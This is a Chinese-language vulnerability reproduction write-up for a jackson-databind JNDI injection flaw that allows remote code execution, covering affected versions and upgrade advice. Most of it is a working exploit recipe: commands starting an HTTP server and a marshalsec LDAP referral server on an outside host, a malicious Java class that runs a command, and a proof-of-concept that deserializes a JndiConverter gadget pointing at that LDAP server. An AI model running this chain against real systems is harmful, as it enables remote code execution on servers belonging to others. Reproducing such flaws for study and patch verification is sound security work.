漏洞名称
漏洞描述
受影响版本的jackson-databind中缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,导致攻击者可通过JNDI注入的方式对此漏洞进行利用,成功时可以实现远程代码执行。
影响版本
2.0.0 <= FasterXML jackson-databind <= 2.9.10.2
不包括:
FasterXML jackson-databind = 2.8.11.5
FasterXML jackson-databind = 2.9.10.3
漏洞复现
环境搭建
受害者IP:本地vscode环境复现;192.168.63.1
服务器IP:8.*.*.*
在服务器使用python3启动http服务,并使用marshalsec-0.0.3-SNAPSHOT-all.jar,启动ldap服务 这边使用的是marshalsec。
工具链接
https://github.com/mbechler/marshalsec
启动http服务2222端口
python3 -m SimpleHTTPServer 2222
启动ldap服务1389端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.\*.\*.\*:8080/#Exploit 1389
漏洞利用
将Evil恶意类放在启动ladp的路径下,访问http://8.*.*.*:2222可以下载恶意类,使用javac Evil.java编译成Evil.class
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
下载环境所需要的jar包,将jar包放在vscode环境中,
https://github.com/fairyming/CVE-2020-8840/tree/master/lib
创建Poc.java,这里的IP端口指定LDAP的IP和端口,非服务器的IP和端口,我这里将LDAP和http服务放在同一服务器,所指定的ip是同一个IP:8.*.*.*。
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://8.*.*.*:1389/Evil\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
执行java代码,弹出计算器,攻击成功。
对其进行wireshark抓包,本地对服务器进行了http协议访问。
访问了Evil.class,加载了恶意类执行命令calc。
进行了http和TCP的流量交互
原本的目的是想抓包看下是怎么请求的恶意类以便于在burp中打入payload,但是抓包后能力有限还是一无所获,未搞出在burp中的payload,后续继续搞,2023-12-27.坐牢
修复建议
FasterXML jackson-databind远程代码执行漏洞的补丁—请关注厂商的主页,升级至 2.10.0 及更高版本
补丁链接:https://github.com/FasterXML/jackson-databind